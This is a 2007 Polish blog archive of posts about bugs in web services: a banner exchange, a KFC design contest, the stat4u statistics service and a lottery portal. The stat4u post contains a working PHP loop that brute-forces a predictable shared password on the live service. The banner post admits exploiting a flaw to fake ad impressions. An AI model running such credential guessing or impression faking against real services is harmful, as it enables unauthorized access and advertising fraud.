Archiwum dla ‘Bugs’ Tematów
9 lipiec 2007 |
.. na przykładzie Bannermanii. ”Efektywnie kreujemy ruch na Waszych stronach. Od 1997.” Ostatni news: 2003-04-11. Większe zmiany: nigdy.
Kolejny przykład serwisu “starego wyjadacza” z potencjałem który naturalnie umiera. Komuś się widocznie po prostu nie chce.
Szkoda, bo ja chętnie przejął bym taką “firmę z tradycjami” i przekształcił ją w kolejnego gracza na rynku reklamy internetowej ;)
To, że systemy wymiany banerów umierają nie ma się co dziwić, kto z nas chce dziś przechowywać na naszych pięknych blogach 22500 px² jakiś nie pasujących kolorystycznie gif’ów (a te 1200 px² mini-buttonów jakoś można ścierpieć;)). A poza tym do teraz każdemu tylko linki tek$towe w głowie ;)
Nieprawdopodobne jest to że ww. firma prowadzi nadal sprzedaż płatnych wyświetleń banerów (choć wątpię żeby miała jakiś klientów) przy CTR=~0,07 (*)
* - na podstawie własnych badań. Oczywiście nie zniżyłem się do tego poziomu aby na moich stronach wyświetlać reklamy stron z PokEmoNamI lub kursu html z przed 10 lat (i to na palcach jednej ręki można policzyć “aktywne” strony w tym serwisie) - Za to wykorzystałem lukę w ich systemie pozwalającą mi generować wyświetlenia bez zbędnego szpecenia ston banerami. Sorry :p
Tematy Bugs, Reklama, Statystyki, Web x.0 | Brak komentarzy »
6 lipiec 2007 |
Niedawno temu sieć ’restauracji’ KFC.pl zorganizowało konkurs na zaprojektowanie ich nowego kubełka. Jako wielbiciel kurczaków nie omieszkałem namaźgrać na tablecie paru kuraków kurczaków i pobawić się w Corelu..
Po kilku dniach otrzymałem komunikat. Okazało się że ktoś rzeczywiście pokuszony dużą kasą (10 tyś zł.) zaczął sztucznie nabijać punkty - ale uwaga - nie sobie ale innym! Ktoś wiedząc że taki ‘myk’ zostanie szybko wykryty i liczył że prace zostaną usunięte. Nieźle skombinował! Po tej akcji głosy straciły swoją wiarygodność i już nie wiadomo było jakie są naturalne a jakie sztuczne.
Prace które ’wygrały’ .. sami zobaczcie. Ciekawe czy poziom zadowolił organizatora i czy w ogóle zdecyduje się coś z tego wydrukować :]
Na dodatkowe potępienie zasługuje też fakt że organizator przyzwalał na rejestrowanie kilku podobnych kont i na wysyłane kilku prac z różnych kont (choć z jednego można było wysłać tylko jedną). Loginy takich osób różniły się jakimiś literówkami. Jedna taka osoba z jakimś bochomazem wygrała nawet podwójnie. ŻENADA.
Tematy Bugs, Web x.0 | Komentarzy (2) »
23 czerwiec 2007 |
Zawsze lubiłem statystyki stat4u. Przejrzyste, konkretne, wszystko na jednej stronie. W przeciwieńtwie jednak do np. Google Analytics wymagają umieszczenia dużego banera (jakby ktoś niewiedział - którego kod bardzo efektywnie egzekwują!)
Kilka dni temu “leciutko” poprawili statystyki “ostatnich odwołań - pozatym - od kilku lat bez zmian! (nie licząc w statnim czasie częstych błędów ich serwera, spoko, już jest OK).
Jak wiadomo brak unowocześniania softu często jest niebezpieczne. Przykład może nie od strony oprogramowania, ale z innej, “mentalnej”:
chcąc przeglądać czyjeś statystyki trzeba mieć hasło (przeważnie). Jakie jest (uniwersalne!) hasło? - to wie każdy kto się zarejestruje w tym systemie..
Już konkretniej:
for($i=
1;
$i<
9999;
$i++
)
{
$str =
implode (“”,
file(“http://stat.4u.pl/cgi-bin/stat4u.cgi ?i=login&p=stat” .
$i) );
if(strlen($str)>
3300) //~bajtów
{
$pass=
“stat” .
$i;
break;
}
}
wyświetl
($pass);
Statu4u żyje! Reakcja BOKu: 1 dzień! (w nawiasie mówiąc reakcja typu “a jak ktoś spróbuje to naślemy na niego prokuraturę”) Czemu serwis nie chce się “zmodernizować”?
Tematy Bugs, Statystyki, Web x.0 | Brak komentarzy »
16 czerwiec 2007 |
Nową, odsłoną “domówki” [edit: pomyślnie przeniesioną z własnoręcznej poprzedniej wersji] rozpoczynam cykl moich zapisków dotyczących.. [internet, filozofia, fotografia, ..]
Na początek mam gorrrący temat;)
Jako amator obcowania z grami losowymi typu polskie LOTTO (do czasu nieludzkiego podwyższenia opodatkowania gier) dłuższy czas temu analizując archiwalne losowania lotto natknąłem się w portalu lotto interii na.. fenomen! (jeśli ktoś nigdy nie puszczał kuponu to informuje że liczby losuje się z zakresu 1-80)
Ale nawet nie o to nie o to, pomyłki się wszędzie zdarzają. Problem w tym że oczywiście wysłałem stosowny email od “życzliwego” z ów informacją - nic nie poprawiono.
Tak jest do dziś. Nadeszła nowa Interia - ponowiłem kontakt z “obsługą”. Zero reakcji! Panowie! Web2.0 wymaga dobrej komunikacji z masą internautów!.. ale o tym w innym..
Tematy Bugs, Web x.0 | Komentarzy (3) »
